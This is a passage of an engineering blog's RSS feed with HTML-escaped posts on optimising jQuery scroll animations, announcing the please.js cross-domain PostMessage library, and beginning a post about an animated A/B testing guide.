string&quot;&gt;&quot;a#scrollUp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;Unnecessary animation&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Have a look at the following code snippet:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; socialIcons&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;visibility&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;visible&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; scrollDownBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; scrollAutoBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; socialIcons&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;visibility&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; scrollDownBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; scrollAutoBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The first &lt;code&gt;if&lt;/code&gt; checks if we are on the last iteration of the loop or not. If not, then the &lt;code&gt;else&lt;/code&gt; part executes. Which means if the loop runs 100 times, 99 times the &lt;code&gt;else&lt;/code&gt; part executes. Moreover if you see carefully the code in the &lt;code&gt;else&lt;/code&gt; block, it will keep fading in/out certain elements on each iteration, even when it has done the same thing in past iteration. Taking account the heavy animation account cost in jQuery, this is absolutely unnecessary work being done here.&lt;/p&gt; &lt;p&gt;We could simply do that stuff once and set a flag which will be checked next time and we only do it again if the flag is unset somehow.&lt;/p&gt; &lt;h3 id=&quot;final-code&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#final-code&quot; aria-label=&quot;final code permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Final code&lt;/h3&gt; &lt;p&gt;After the above 2 fixes, here is how our Scroll event callback looks like:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;scrollHandling&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; currentScroll &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; $window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;scrollTop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Set the position to current slide if the user scrolls manually.&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;checkpoint&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; index&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;currentScroll &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; currentScroll &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;index &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; index&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;currentScroll &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; socialIcons&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;visibility&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;visible&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; scrollDownBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; scrollAutoBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; lastSlideUIapplied &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;lastSlideUIapplied&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; socialIcons&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;css&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;visibility&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; scrollDownBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; scrollAutoBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; lastSlideUIapplied &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;currentScroll &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; scrollUpBtn&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;style&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;display &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;none&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; scrollUpBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeIn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; scrollUpBtn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fadeOut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; $window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;scroll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;throttle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;250&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; scrollHandling&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h2 id=&quot;test-again&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#test-again&quot; aria-label=&quot;test again permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;TEST AGAIN!&lt;/h2&gt; &lt;p&gt;Needless to say, our next step is to test the changes made. Here is what the timeline says now:&lt;/p&gt; &lt;div class=&quot;img-wrapper&quot;&gt; &lt;img src=&quot;/images/2013/07/devtools-iter1-b.png&quot; alt=&quot;Final result&quot;&gt; &lt;/div&gt; &lt;p&gt;Bingo!&lt;/p&gt; &lt;ul&gt; &lt;li&gt;We hardly have any frames overshooting the target line of 60 FPS.&lt;/li&gt; &lt;li&gt;We get an average execute time of &lt;em&gt;11.71 ms&lt;/em&gt; per frame with a standard deviation of around &lt;em&gt;4.97 ms&lt;/em&gt;.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;going-further&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#going-further&quot; aria-label=&quot;going further permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Going further&lt;/h2&gt; &lt;p&gt;We still see paint (green) events which are causing some frames to overshoot the border. It is basically on slides where large image are being animated on the screen. Its not that we can scale down the images or stop them from being painted. The solution still needs to be figured out to optimize the painting going on here. Suggestions?&lt;/p&gt; &lt;h2 id=&quot;last-words&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#last-words&quot; aria-label=&quot;last words permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Last words&lt;/h2&gt; &lt;p&gt;As Chrome folks say it, &lt;strong&gt;don’t guess it, test it!&lt;/strong&gt;&lt;/p&gt;</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[please.js - A simple PostMessage based communication library]]></title><description><![CDATA[In one of our previous posts, we talked about the problems we faced when communicating with frames on a different domain in our application…]]></description><link>https://engineering.wingify.com//posts/please-js-release/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/please-js-release/</guid><pubDate>Mon, 15 Jul 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In &lt;a href=&quot;http://engineering.wingify.com/posts/jquery-promises-with-postmessage/&quot;&gt;one of our previous posts&lt;/a&gt;, we talked about the problems we faced when communicating with frames on a different domain in our application &lt;a href=&quot;http://visualwebsiteoptimizer.com/&quot;&gt;Visual Website Optimizer&lt;/a&gt;, and highlighted the possible solutions to each of those problems.&lt;/p&gt; &lt;p&gt;We are proud to announce &lt;a href=&quot;https://github.com/wingify/please.js&quot;&gt;please.js&lt;/a&gt;, a Request/Response based cross-domain communication. If you&apos;ve ever faced problems in cross-domain frame communication, fear not - just say please!&lt;/p&gt; &lt;div style=&quot;text-align: center;&quot;&gt; &lt;a href=&quot;https://github.com/wingify/please.js&quot; style=&quot;padding: 20px 40px; font-size: 24px;&quot; class=&quot;btn btn-primary&quot;&gt;please.js on Github&lt;/a&gt; &lt;/div&gt; &lt;h2 id=&quot;what-is-pleasejs&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-is-pleasejs&quot; aria-label=&quot;what is pleasejs permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What is please.js&lt;/h2&gt; &lt;p&gt;please.js is a Request/Response based wrapper around the PostMessage API that makes use of jQuery Promises. Here&apos;s a quick example to load an iframe window&apos;s location:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; frameWindow &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;iframe&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;contentWindow&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;please&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;frameWindow&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;window.location.reload&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;please.js is based on top of jQuery and the jQuery Promise API. jQuery version 1.6 or above is preferred. To make the communication between two windows on different domains work, both of them must be injected with the same version of jQuery and please.js.&lt;/p&gt; &lt;p&gt;Currently, please.js is an alpha release (0.1.0). Down the line, we would like to add features like support for communication in Chrome Extensions and improving the documentation to make it easier for all users to get started easily.&lt;/p&gt; &lt;h2 id=&quot;how-it-works&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-it-works&quot; aria-label=&quot;how it works permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How it works&lt;/h2&gt; &lt;p&gt;The underlying concept is simple. Two frames need to communicate with each other asynchronously. To access one of the child frames on a page, the parent frame sends a &lt;code class=&quot;language-text&quot;&gt;please.Request&lt;/code&gt; to the child frame. The &lt;code class=&quot;language-text&quot;&gt;Request&lt;/code&gt; object is a lot like the request sent by the browser to a server. It contains information on what needs to be done in the child frame (call a function, get/set a property or a variable, or access a DOM node using jQuery). The child frame sends a &lt;code class=&quot;language-text&quot;&gt;please.Response&lt;/code&gt; back to the parent frame with the result of what the parent frame asked. For a function call request, it is the return value of that function, and for a get request, the value of the variable/property is returned.&lt;/p&gt; &lt;h2 id=&quot;contributing&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#contributing&quot; aria-label=&quot;contributing permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Contributing&lt;/h2&gt; &lt;p&gt;If you would like to contribute, you can &lt;a href=&quot;https://github.com/wingify/please.js/issues&quot;&gt;submit an issue&lt;/a&gt; on GitHub. Will be great if accompanied by a failing test case and/or a pull request.&lt;/p&gt;</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[How We Made The Animated A/B Testing Guide]]></title><description><![CDATA[Recently, we launched our first ever animated guide to A/B testing which made it to the top of HN homepage (Yay!). In this post, I'll go…]]></description><link>https://engineering.wingify.com//posts/making-of-abtesting-scrollmation/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/making-of-abtesting-scrollmation/</guid><pubDate>Mon, 08 Jul 2013 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/posts/hn-bob-post.png&quot;&gt; &lt;/div&gt; &lt;p&gt;Recently, we launched our first ever &lt;a 